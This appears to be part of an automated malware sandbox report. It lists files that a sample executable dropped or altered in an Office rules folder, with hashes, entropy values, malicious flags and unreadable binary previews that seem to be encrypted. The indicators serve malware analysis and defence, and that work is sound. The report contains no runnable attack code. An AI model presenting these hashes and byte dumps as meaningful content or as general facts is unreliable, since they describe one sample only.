Preview:	<?xml...@... -.S.k....>h....Ml.C..... +Zg.U.t`..#..EV.........;..........pU[..d1..8..+..%....1'.....tO....<..[./...._t.. 5...#.@..X.8...J......wjl.F......y.=...$.%.a.......)V.....".k...D:Y.8e...2<M$Jff9.zS.B..g.<..II.. .Jr..f.V/Y..k....c_.5\F..E...f^o......m>.t-[.7r).U.H...u..Q..e....d.e.:....$.&&....Z]&l:b]q.....f.....2.&W...f4.fv"9KT..w.4.H.i....\|^..i..bm./......;>......r$..'Y......Q..y....3....1NI\|f.FbUu.S~....h.G=..>l...K.9.j4a.-...-..7....}n02.?.r..s..6..B.../@:y.9..mK#3U....S.Y....VX....T]kRG...^W...\|..C..S...p..]tz..Ho.~.ga...yOJ=q3..Eab%aL..W. 76..............P".+..;..`b.#.M..>n.M_..6/..~.YA........u......'..k..^.[^...........]..=..:Z....'..J.=eP......f..Ue....!..q.r....!.TX...\......b'.m.\|Wp\.X5a..w.g^.!r4....IA:.......@J.....W#I6.>.....0.]...S......1f]...G.......[D.........~....o.eG.l>...EL6.........ST.K.(...1..4H.@..I.7'I.<#.>Op.:ZU./...b.....Hz...-/.c.7...(L!ic"Uk....J..pz._4.S+.#..,........_...t..)D.@.M...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule440004v3.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	2338
Entropy (8bit):	7.916743153626687
Encrypted:	false
SSDEEP:	48:fGePIY2HjscaUVroLgkPqaL8HtvZu89v0GVPmxNlreBgZhJpmFVNaU4/JD:fGO2HjscVVs0kbAH1wI0GVPaUBghpmFM
MD5:	2B2BEAE4C9BA248DA2872D052B8CD956
SHA1:	389729790E437567FD7754092F77FD1A4BF61C26
SHA-256:	7D865D2D5A65FDDD1D55420AFB29BEC0618C321B4C308DAF01FC0931799B46DC
SHA-512:	35F41131E5ACCEA1BA885E4E48F8A880ADA41A1B9B869471A1813EF7D96A6992E3FEB645F985182A553EEB5EB3DF66A424417F92B096E89DC18E90602D7431FB
Malicious:	false
Preview:	<?xml...n`6.......0.1...u.a.2...x>.U.{....^....@..a.....I........Y(...3}..t..{.f.!.K..T..f.k.(.&.j...X.,(..'F..^,..]Q\..8.........=..i...Z..p.M\.{....... ......d.`....{/\|..tI.>.q\..i.X+x..3:.P..{.:e...l86.......~Y.,.p..F......<.S..$...s.Q/...}.@.}A"K.S...^<....W.`."...[.`^iP....U.3i .%...k.....bXD.$..<...Xd......dL...R...I.FE....U...z).m...J.ZC.bLh..C?6..U..^.t>.].,.gr.6.}......LX<.:...;....o.g2YM....'..Za.H~+r@..s/4..q......J.d,."-..b.N..c.....}....%V.hLuTf....r..QJ.\...^..q.).....c^."..b.V.U..>F...NM.].Nb......;......<.s2.A.......g&.c..a..$%....c..Qo17.<.4l.z..mNVf\|O..:.+.(.. ...v...:..R).......-....}...\..w..#qs..j.C..../.2U...4.H...L-........>..,.8."?Qb..'.\|.e..&0.%-?QT.....$M....N../....-P..e...{5..6...Q....KH...T..L..3..Z..5>..?.m..'3..6.B..P..9.:.D.L..N..%."G.."3Z.G..6...>.[.L...}J.......+./,...dgy..u3.$.y........V:..j'R.c.7.0#._...Jrs...M..g...([.H....c..Ul.7.!$v.u.j..#@Y$6..c.<............w.}....S.<......j. UX)..C..dp9.A.5.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule440005v3.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	2320
Entropy (8bit):	7.913248684726521
Encrypted:	false
SSDEEP:	48:Be6HBVlvB2jtZAq17a0eWi2SGLJqJYDWJkg18oaJlaMD:BeyBbojL7173ebyqJCWSg18oaz1
MD5:	93ED25117A69B41A6913B46182D46BA6
SHA1:	B24CC789DF1E0A51A6E10483B2C0CAFC025994F4
SHA-256:	C6B90FA85DBFAFE23BC18C1CFD39ADC5F0E02EDBF257FAEC60AAB9F95B94D7A3
SHA-512:	F81E0B8D67412C25CCF97EC1698E77EFA2851FCEBE8B74ACE3658DFC4FBD224DBDC9FAA3E2BF1E9866FFE4337A02CA6F38EA184596BB9694539907C80B05E575
Malicious:	false
Preview:	<?xml..P.=.._...wI..2.....P....]..@].[E...e[...8G..........P....#(Z..QY.%c.w.J"'K.@....\...o+..S..C......1..(L^6...C.w.\|.......x.-..b.. 4...R..=..o.o..C..1h...R0.4KD.....%G.YcB...tYm..F...d....\.z.?.k.":u..-..o.....OP.]4..R!W.8.W....vB..h.^M0X...'..}c.\|w.t....?.=.A..h..6..KN...>.E{NBQn`.{..c,.4H...5...........3.O.>.;.:..x,>....e...X.4..i.m.i..W..s..0.C....I3B.\|....y0.8g7.fu@_>.F...=.f.0. .o.....Z...o.9S...Ue...Y..8..x0.@T<.........].U....j.F..../..o'Q.<...E.9...Q..{..g..m..7. g..ZCF....D..f0.....w3._.I( .....`..Q......V.:2.W... .e3B.?.U.J.....k..N;..P...,.).D.3V.v...r..._Hu.iUZ.az`.B.....{...b.P. ..b...........G.........r...v.\|.#%....y.P....o{..G7......J..........r.7'oIf.B..P...L.kC{.h.M.{.5.....%5..{.a..(..n._....S<X#.5.Z..f...@hn.Lk......P..r<.:..O.CJ......6.P.&....cKu.L+I.2..y....l5a.t.s....0..f.).e3....Q......rg.9A;>b.j....S.....W.6..&.M...$..n. ...Ub.tK..t...~..O....).r...E~...o.Z"-!3.kt:..}.:..Y\|.Q.S...I..6.. .c.Zx...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule440007v3.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	41208
Entropy (8bit):	7.994962316998913
Encrypted:	true
SSDEEP:	768:piBIYJ5Vb9hcXyPw8UehBkdfADuzviPyXScbqcAPM93788zRyAigN6lbpKl:p6JTbUXCw8UxFjzaPsbZA09348zRFvNt
MD5:	62BA09811D729C0F4C8F7A4A7A93DA32
SHA1:	B7D0A5733C53DDD9E9B72BB1A6DAF21A7E6D6EB5
SHA-256:	96E34D324FFDC1C869184570856F8916D350520E3CC5BA22DAC02B3BD7AE9747
SHA-512:	6B7161ECACD23FF025A16285855A87E12F200936BC1D1A6637EDE8EC8F1A1F68DAE9FBC085E169E66FD5DA36DD177DE3C7CAC409736036B74A2FB5DC92ED5081
Malicious:	true
Preview:	<?xml....SY...AZo.i_+.a.b......!.....H..y.L^Ni.{.M.9>..e9o...[.@..&.~.F..[G!4...QpumU...\%>...u6....3..d...&. ..q.Q....bc.b2..`...Mm....fy\...J5.L.c....;.....e5O.\..q....!.[.......X?.[.=_..s.z......G.&Lg.Q@.3...#jn.5?.......d..1...F.n...1...-kP....9..Q"g.............#2R....D....f...nq...........`.....+.k.....GT....".WjT.v)..iZi....>..4.{m>.....f/.~......UH...m.T..&..M.e..<....)S..4F..WSk..n0...T......".K.......Bc...u...l.....FL.(........>c....x...g..^....{.=E/....../}..Rp..]`.......)fAGI.N/...@.&.\...........x..9..ji..U.7......Ck....~..15#T.........,..c..Q.>.4..Q.;..\......;.X9..-.5...2$.).. 5#v.3.F.W.......3.:#..C.,.V.m..j...O..i.x....$.9...d..&..t. .BT...C%...=}<u.z..r..JaG.p..t.i...\r.....UTYq..Zu.....,......Jms...2..\.B.t4..Z6...}.T.......d.[..&n./.......Z.\|4...3q.....u..(...K...M.^.......c...A.[.K..\C.yzl.}.vXS.@0sB..j.......BW.++.D.h..Y.....x....5..E.!HP.a..1..Et...r...-.0._......,...c..7......Z........Ou..i......E.U..2g.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule460008v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	785
Entropy (8bit):	7.717661412033869
Encrypted:	false
SSDEEP:	24:FiH/PBH5KorCpH7Owgc6TGFtPhXBwsbe6TFyObD:q/P2orgbOwgc6yF7XllD
MD5:	DC49E1B73E5F79F44E626147A942C80C
SHA1:	8AD774A3B029144BF02F7594441F4E39F2663626
SHA-256:	84E24D743F5CDDDBF078D7612DD79C0A2FD3DD742148DAA15F65E11C79BF0BBF
SHA-512:	527F3BB03ED8AF4EF145D891807FA6379883744E935C99E724E9230805F6695ADA2F880AF96D091D379C8101CD361788CB3C297EF6AEE6E2AB9C3A62B46A87EF
Malicious:	false
Preview:	<?xmlj.qu<.g..gr.. .N.....)T......9.\|>..,..=..x\......M.1...xG....>.c.G.........]2..4..:..9.O9.kK..j.c.,L.....3... ..2..b^..?[....M...g5!..N.J......O........\7.T9>@.~.....G.KO.k.....O...TW....}$R^p-B....2`hM.~.=.iA+l...}w1...-.f.=..P......Y.35....x.5..m..H...f.......3.ce.n..Y......./?+/....w.\|....R...}.F~GW\.......B.i:...X.!.F..M.U..o.....l"..K.#.m.'b....!..n...+,...n..e.2WE3..4..e...Z.i.......9.hf..`...b..SAR.@:......tW.....k..B.......!.V.P&..`..?.~<.. a..x.J.$...U.....f..[....7.?Z.H.8.eq@...%..4....X.!......O.Q-.h...9..(~'.t...~2.RY....."v.W...n..F..:.r...R...Y..... V.m..."0.V7..H2.crR.C...D.6k..`.w..v..8pQ.(?)1....f..p....<"....x.B..P..4.....MO......*.U.W;..Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule460009v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.716627284511252
Encrypted:	false
SSDEEP:	12:m1akfTERlokgYXCSeCguUcaDhAA+5nnMJcqWun8RnzPdByEIMenz4YYaqbuOciik:m13kg6CjCMmA+lM1WwQzPWkez/37ObD
MD5:	CA983F83932A0F39725BC890A1D853EC
SHA1:	BA53CBCDACD0FEEBCD6333B5C00C9D47FFC5C153
SHA-256:	00E85F9FD13D339CC224E20D7D0AACA3547643184B80734B15FACC4D09433A58
SHA-512:	511A97E5A9A2A78F5BA75CA2CAECFD950544CE218C49BF72BA47DA71B1517BD1F317922F941F9D4971415D2D8337E56A02F71E20073E9EEDBE63F560ACB37EC3
Malicious:	false
Preview:	<?xml<..!d....K..?".~....'.g../..F..$.rb.tI......%. ........s.{M....a.O....0.0...4.........m..Rd._-...K...Z<z1t...HJ.$4r.R...^.$<.5h..z.rr4#.'P...O.....f...v"...#<...P.....j.R.zse[.P.;.8.a........P.,.]....%.W..h...<O.L2.o..C._H..........?........O...4..W..-....>..5......M..j{...M...D.f&.l.}.2..AG..5#.R.x..r....(...>.t.2.r....v^.=QE.._o...!.O.]...=.D......b.?....<...R...;zr.\|.".0....z......`....@/r..8.[.......3...4a..m......^/yy..y.N.7......la..............R... .=KKl...#...w~..{..Q.w.%..v.....~...L. ;..&#%?v.......$.-..<..t684.H=..X.d.g....A...........AV...Q..*......i..`..3U.6.]..p..4dx..K..i.]s.B...(..iEh.:N.x"g.Y....v....'iZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490002v13.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1428
Entropy (8bit):	7.85694367341412
Encrypted:	false
SSDEEP:	24:aEGVHUoBI5TnlRxYIDuTXXct+HGQCnE0zvF6rhSuYZVyVh7Enl0o8/oLlZ95eiNI:Qg5RxYIDqXw3PE0zvF60uYXyVh72dbVS
MD5:	298500CDE821C29235F705A7CFECE3EE
SHA1:	AE936F9EA9C92AAC09B2E89FEBA3981458341BB8
SHA-256:	0E349C75ADE1772334BA5E94CD33371436BFDF3896FBD8F979B0DE2598BD1ECF
SHA-512:	08A91DD568C324E2A8D189C4EA9648C991197A3EAC64D69BA9F8C5465A0281AB10D5C67F8B45F4C29DF8C7F8B15BC380E7725382AD81D5141C732E9FEB2C7E81
Malicious:	false
Preview:	<?xml.@.<......u.w...?......9...'B....nOo)......qeda..f.:.Z......H_%.x=C...T.....Zh...../.....^...`L.d..(..C/.pv.:.@$..B..$..'...i.....Q....[.f$/...[K..2p..../...LW...;G.........r.$B..,.\_BD"%V.....F.../]?_...fE..B....8..)...X#.#.g....N.GJ...!=Ur./e].c..U....B.<T.a.Lt&.!...Em6v(..T..(V.....Q:..)O....-o.....N........d.({L..........v.......6.@.c^.<...l.K...:...8.O.E.-.I..j.......WL....Us.=.u.ke....4N.p...b..AZ.M.L.A.4<.}=.."....r"...w...ss...-..\.[.I.......IN......(.[O.PT.r......Xh._...$r..~....-]N.S.....F.=_...~.U...w.Wg.......Z."M.5Vf...6...Gp..B.'....m.......X......Nf....V...jI...u..H>4.M.E.. .i;13..k.)...c......=@..e..?..\.N... ......LYhS.M?...D..I.D...w...;f...0S.)K.)\..... .J\|.W%+M..`......s#.).%.h......w9.....h.......>."S.A..@x}.i..X}.)..V>...Ha....,s..R....i...n)....xq..^....8....U...B..p8..?~..3F."......w...U.d.x1.<........L..%..Pn.{.q...y"..G..YR...n..Yv.................%...p.....-S.oN.s.....Q.`S.h...EL._.m.h

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490003v7.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	7.7810647385014615
Encrypted:	false
SSDEEP:	24:FN2eRGwHK1tvHTC8x/SyWeF5rrE6LLzda788GHObD:vjRGwqvHrxXWIE6U7lXD
MD5:	074E172DF05D9AF86441F8C7FBB35A3C
SHA1:	E103B704D0EDD4A28D1250165C58165B9F24C019
SHA-256:	E9FE756DB0F87CACCBD7BA36167BA8C268333083AD46A3D4A51414E3B5345883
SHA-512:	19FA27952FDBF33C86B2050C9E5E535A8C19A079FCD7DD43E514C416F6765EA6CAAFA8B8FC83216A43FC5E1B35AAED56720AD195E8A68300CC9A23C58E5D4D29
Malicious:	false
Preview:	<?xml).s..6..}..fo....9{k.V.........Y...._OmM.3.mo.v8d\.(...8...i..nF..,D..eh..M.&14...TT..&....}..&&"-...].7.%.iI.....8D...PWn.....p......w.a..64....2V^.{.^.d-.>......=>\|e=Xv...:I...L.........j..Tg.^A..-.<wd....q..........C..p.$.7z.....MS.a_".HU........cdr..S..\.O...JGp..w.1..x.....7...7reEy...G`.@In&r$.:.}...L..Y.k.8.t,%.kl..H$.$.Z...Rx3....cK.<....-...\|(.^......d.R....q....8..W..G..s.1.)..;.S.+.\|`.1./x.g...{C..&i....!.R.b..._.0...$%T8;...=.j.!7..=$f.6......^...bm.G.t.w_..n.T&K:..2...#...9...Q)..b...o...n.@.3c<,..D"b...-.(.f.@...R..!.......PX....W.K\|1....7....t........z....c.^....x.TS...Yd!q.b.....%..}l.EXF..Q;GTH....<...s..'.x=..a...n.=`....:..!.AK....=.o...=/..X.l..p.T....DM.+u....C.SI.g@.O.<H...}.S.[a...i.g".z.Y.........S.%.(..7b0WJ.n.........Z=O`...R...c.h..^. ..j/c.{R.....O..!e...#..S.....y7.H..1...}!..O.....N..c..\|.{...8.=[.M..m..w.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490004v5.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1008
Entropy (8bit):	7.757209553469424
Encrypted:	false
SSDEEP:	24:lZ8gC6HxQGy9NRJCbti5FnNmwNI+7B0tq+mylzObD:bTtRxy9cbeNtI+d0toy2D
MD5:	1E640587E3C6E9E8FE85B15638422959
SHA1:	6221A4320A94359A7BD185B52CBFD8952D743F2F
SHA-256:	3EE572CF42A9113A522A0269C30AE94B776F25BB14590F8B2619E51D0F4E4CF6
SHA-512:	793214DDD95ECB8098C899349CB8A43A5ADCDEA9D1DA0A6855D7EAA94E6D3F270A3D387AF9419A6AF6B5E768443CF9AB1AF836E30A1A3966169FC6C557F8C751
Malicious:	false
Preview:	<?xml`....qaG.......o....b...oR..v:...YU...mH}.Y.C...7.r..T.f......W......2.&......l......CZ..v...Lv]l.N..z....C.!N.......#...."..7b.TxA.-...y...D.H..JV...g.Te.}.....5..S`B.>Z..T..)$..>..D.4N.4..!X.........P.....n.6EY...24x..E...k..pY..v.O..z.Xh....+./[a..Ku=Ks#..1J3/z..U..MA.C.....7....\..$...J.Gm...fL68.;e...cTE\|I.$T7o.Y..5..B..1.R.Y.$..b.zT..n..T..,......K,....J.72.\..O..a......9S.z1.R...k..921_4<Z.F.y..#....F.f.....q.v.?.g.U.j.=..Q..@......=.......X............h,.XE. .....v.p...j..V..y..C-...2&}sp..M...#..1_v....I3.t3j.u..[y[.......a.....p....<..j.><+y$y.?..u...:..8.......~...3V.: HT...E....j........1.w..I)...8.}.......}651.`..p.`..v....<..o..T......}.G..g).{.>.i?.'m..).X......sU..o.8_...'.....Fv.j58.-J.7.....H:`.KG=.-.>of.F-.......0l].zJ..Ka-...!if..b.y.[...L.u..Ue/..b.[..B/.nF..k[r..T..Z......KU.....,........`..m...M^\+EQ..p...3..-!S.~o......omZu...c.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490005v3.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	7.791411646268854
Encrypted:	false
SSDEEP:	24:P6lMSsv13hVQWtNQiCbFCBa+AuwRSNofQGYObD:G01l3LqIM+uIgQGLD
MD5:	D102F6FEE89A96605401269BA2642939
SHA1:	D7A25F1F508004BF79EF8B6F8D0D0E080471A44F
SHA-256:	E7CC6987D37E636D670FAA59A19559A3A4F7AE5B74DCEE4DCD5BF13B712DE31F
SHA-512:	59EA05DB33ABF89539A8196913B8281F175B3FEF605827E5446CBC8E918645730229AA7CDB12861C94AD48CFF5B119A6A31058CD4830220B686BDAB3A50A4CFF
Malicious:	false
Preview:	<?xml&..?W....fD.B..<.....]...b..\t.$.....V....,..9d5.....{^F;."p."6d.b.L.U..9782..i:.d...G...(.!..kJ.G.Y...oA................E.6.+V7.~q........H.....4.R.5..AO.1..b...cXN..k.);...x MC.. {U7.&P..@.]..`T.Y.d...G.x..`H..9B<.!..".s..?.;Shir.......!{,..gt.?......X.._<....j.S2c.JAV.....c.R.......C5N@.}.4.)c}.`.S.N..h.-...D..s....d=M.`..[..yw.N.9....Q[.....@dNp..tW.....A..WO..g...."$E..:.N7.....vL.....\...M.....y...Y.....[.N.d.N(.^.V.<E?+.U.. W.mm....3.....Z.w../...6..<.,.......>....?.......!F..#..as..~......[.vG....p=.m."Rl....6..hm.U..uGh~..pF<f..@4.z.a...-..."?....M....$..>.Q#&.=.(.......U......`.cx..8@..Ypl...-yW.DI4M~r...A.o...2JT........._J..lj...1}}...g1...\|..d.6e..;..h.e.ed...M.'.!........J.M..d0..7k..-I.+P.Z.....6.ya..n,.d..f..\. ..'.e..("...:.4..D<.i.g.........j.s..l.YOY3.R..Oxu.B.....4...#.c .V..R(...F!. "t.}.W.$E..Jc.> .Cs.lu....r...&..e?.8?O...f*.....Z.+b...J...I..+..M..r....x".c/...jv.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490009v5.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1453
Entropy (8bit):	7.857997194597536
Encrypted:	false
SSDEEP:	24:As0PQk4gUAylotm8ByDhd0OtgF0+U0CIHjPXRvh+zBBIWwPexfHKbZySdObD:nurUAyluVyD9yqkTHjPXRQbIW7fHKdyz
MD5:	7C083510B1B2823E2A441FA2DAFC6205
SHA1:	C69A9A5791ECE8879337D895A349665763585241
SHA-256:	FC0EC8F38FB1D148FC1BB99E72E620BD771DFF923E840D51E510FF796AA18E0B
SHA-512:	DAE100C3BD12016212F9A05E338E43A25F4493917591B6DEBE29B945960BF15B64C61769780778337E9041C4DABFA7A291D942BE70ACDD9EC21A591CF0B836D5
Malicious:	false
Preview:	<?xml._...8m.....!.....U..?..#=...q..t.p.d..Y#P.K.+....(..$..2.Au..P. .%).c%;.OV...#9.]...Y}...-......3.....Z......`...M.U...z.W.....\$q?0..(nW..t.#=eo..h...u...v.X.J..@.8.O.....W..t.....Y.j.TZ+ydZ.B.Z.r.,.....N.&./.q.....#.?.........h...g.sgrM...L......<.%.U...7Q<...<..C........h.=.Y.B..'.......?j..[Mp.^..',...F3...5....4...A...e.~.t..D.z.xN..^gWd9sJ1..}...G)X2!...../}3.Q.$..j@..-KTq9.GW..>...0Z..cW.W4.S..:....~..'..r..t)........."W.3....hOd.hR... @...[bU...s..f.Yk..<.....:.I..v../q%...f.O;'NK4.I.$.A.........l.(...m....=.L.~(@B.....e..U..I..0nyC.mg..9...c]+.qG?...H...""....e}.t?ew.{a....2.........X\...0F.....Wz.H&%.Y}'2.......@..!.p+.r5\|t...E.I.\|....B.'#l...U....l.%1....:.3.iX.........w..I.VC....J../.#+..=..[.*@.o/..Z..j.4..H..w:..!.I...OR...L...7N?..U...z.........7...'....T.a..VD."9.k.. .4N..x.,......N..{.7.`.Z.dO..E.,G..O...&...h....._S......[....Si.4E..x.A.`O-qJ...&.@.`...Yf..z&.}..s..f.....aUyY.}..=..o@.dN&...D.&b..........

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490010v7.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1388
Entropy (8bit):	7.854653340920367
Encrypted:	false
SSDEEP:	24:qJkQSveScOlvTBIiQkIFoxxnOuDVUL6ITe8m3PyGTMRMnmxnZWo7RZIjrFObD:qqQ4eSfbBJQZF2OuxUL6ITe9yG6xnZ1n
MD5:	C5536F2547C603283DB5D3DC1F644B63
SHA1:	BA6D3691467C560D0958951F8C09E8AC617D0AEB
SHA-256:	0310E12C69FC2FD8FC9C23DC24FB050FED26593FC8DB290F99986CFDDB5E039F
SHA-512:	4FC35CC69BC78A557802DAA10D93298A5E78AC963C892B90C068E276F915B56090E9E4B3142E070C9689DB8991DF27ABCC19EB159F7EB126626A06EE3EDF20E6
Malicious:	false
Preview:	<?xml...Hr...5?..K.b...{~..1Y$8 '....BI9..p.T......v..FW{..3.Nk.R~.,....@.>..t....Tu.j.W....G5.N.A.....c.;O....4C...{.S.J..b.l7?P.B...`...K..T. .....r.'...dh^..T..}5.:.Ls}H..u...z.&(..S.t.....!....YoV..MF..p......g;A:..t#..5...3.!.......9.v"..i..zS.GH.....h;.v....f......!.<Ex....... ..\ph9.....&........b...=...)9/Q.w.y.tRJ..i..q..W....n..j@l.CO..Z.......r.F..a...`...b.."S...S..&.......L.../=......8].J~.;dH.-.W.. .O..~....bk.....Ba..B..9..r...".L:'.r...r.q....X].13U!...ji...2.j}3...U.K...z...3..\........8.-k.>..p0..]..#..Q......[..D....XX.;..F.......iF.W..{.W..)H....H....$.T%..Rb...h..f.?Sp.hGa.....l...}r.....=...40...Y4\|{x.\|.o...n. v.X..?..#.c..._"3.V.....X.F0Y......D.f^.?...R.mW2...Uv..i....Fq.....vw....2ad..s........&=..K.4..6I..s~_...: ...m..wr.2w....I5ush....#aQ..2.W...z..Sl...................KO..../Zl........{.6..\|..o.s...Wbl.~.%g..tJ~'.7.\@ro2.'aScU..WeZ..y. ..vg.......c.U-....0T...S..>.h.m=.....^U...../.].......%..l....l..E

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490011v4.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	856
Entropy (8bit):	7.738494786597827
Encrypted:	false
SSDEEP:	24:pX73pNQ0++gdShwAzdrPudcAzFBpxUIgKObD:pXzx+tcZTuWk7eD
MD5:	7335CC2C3082C393085A4176FBB1129D
SHA1:	CA00FDF18B9D4524463CC0FE56F1B5BBC1A62368
SHA-256:	A1CF96B54DD239317CBF40706523B0AF991C78A54396E750618BF762C966C184
SHA-512:	62FC3386034DF0203D970B42D772FA4870FC0B42B86DE88FAA0D5776F5CB58EF416A347DB6AB874BADB998CAA1A202790912E51ED565F01E9D3793FC3D12B065
Malicious:	false
Preview:	<?xml.\|{,K..w....2.v..$........C....Iu...4..4....MO.z?._..J...._f.;.?.........W....By..}.o.M.V...\....H...r..M.K..%....-....`..Em..)l?.....K..4.k....H.A.'.~-...g./${0.\|.0.F...<....t..4...._.}........p...e.....o.@.A- ...P.FC.Z.Yg.......a..iy +....3...G.b...I]..\|..U..N.H.....(V.w......9#o2.c.o0..3.9.....\.}.ke.MV._@..GA...mk&O...A...d&.......r.XU.j....&E..P"P.s..K.}Y.h......Q%o.Z.0.......c......PZe...g..........2uN.#...1....]....bf.e..U}.....N...U.P.R..lO..K.>.!.r...\|l,\.E8Y...<......C@?.E...l+.p...o.M1........`<+.w......_....[/.B./.....]].h};f0.?Y...-0ksH...w.NV....y..Y...U...U].... ..8..L.9k,.b....;.:..s...9.y......N..S..n)....I..E..\.}.M......"5.X..6....,".-....yk.\.II...f.L...?.........:..,Pf..5.,....e....e...WP..-Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490014v2.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1084
Entropy (8bit):	7.819004934584665
Encrypted:	false
SSDEEP:	24:zyhXQybpiK2GwebaEmDFsSObMJQlV1WTmMhz61ObD:mhXKKUEaqPbMJQEjdD
MD5:	8E5CF0B2B0DE5639BB3D36C184D1CC84
SHA1:	975D16A011904001E0A910E5166B16190D715370
SHA-256:	11D58093088980F6F6ABCBC240AE0B8EC647802D065344EE85298C4B632CD7EF
SHA-512:	60F757E1D524EB532E9520C22FF089DE77D1A28E8B44F07BCAC36BBE2593266935B1EE6A2A20443DECAD0FD1B414BA5D90AB8B239D413A75CB68093B1D55B684
Malicious:	false
Preview:	<?xml.....:..2J-...X.h..u...%../\....\|..".....X.Q.g(5..........v.[ps..Ik.)......Y.%...[..c.....V._.%.e..A.,.N.:.Em...[YAma].....`u.....o..k..".b.....K.X........?O>.!mG%.#U....Wl\Qy....u.Q.1..?..... ..\|..e..z`....m.bW["0dpG.W......"D....0.65.QXI..:x......\|.ra:...T.=.j...<.=.kT.?.~OIQ....6VP.w..`.....f.%uX..H.1sv........\|2El..x....Rf.(.#.P........q.{.....v.........6.#.....}h.o..5r.n..).....K5...7j.e.!...E......EVA..;....S..S.m]..E..u.v.~a..T.uR..9..$.R.).....a.x9P..!....{..2.......Y.l...........p_..u.r......gH.....O.x..R.........g.......\|Z.....6..HuTGA9.."ua2...L.-...,..\|./'..`)..?.0B......9....h?.d..;.H.xr.....^..0J..6..6J....]yW.J.,.<.f.(.....%.F..)..^..6%9."F...)w......u.d..1....\|"..C.....))...7...s._.3m...P.2.%2..>.T.D....$..k.ElL__y_...v../4@E6.. .(...j.....fM.1;.0......p......%V..`.V&...B...,...1....lp....1lA.....L.]9.4J>......d....m..n:&.y...$>..:...Y{.<4...A....r.o."N}.<..0X...=..9KF..z....)...Q ....m..H...t....J.C...A.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490015v2.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	924
Entropy (8bit):	7.760149559467088
Encrypted:	false
SSDEEP:	12:xI+BpN9IalIFZIn15tT+EvOU4HeVL+LdIxRDhulCfKjaBZ8EJfW8gEBPO0MSbuOX:xIKpLx3n1fTtNVLCKx/uH+X9W0MjObD
MD5:	772BEBE5C8F4644CB2C2C5183D24A3B8
SHA1:	69019E3DF9EFBD236D758B55863C4ED26A592009
SHA-256:	C9C424F9D547B0EFF9AD8881B56916F89C5547296EA2673C9B0B4C63A0DA5DCC
SHA-512:	972E78CE7353EF7F21296BC49E18B55A33FAC788CA68986D5B8D8AC84844AC5D12BB9D0347B0E5CA7C7105E95DC4C29E40F748DE3F282696D16658409AE841CF
Malicious:	false
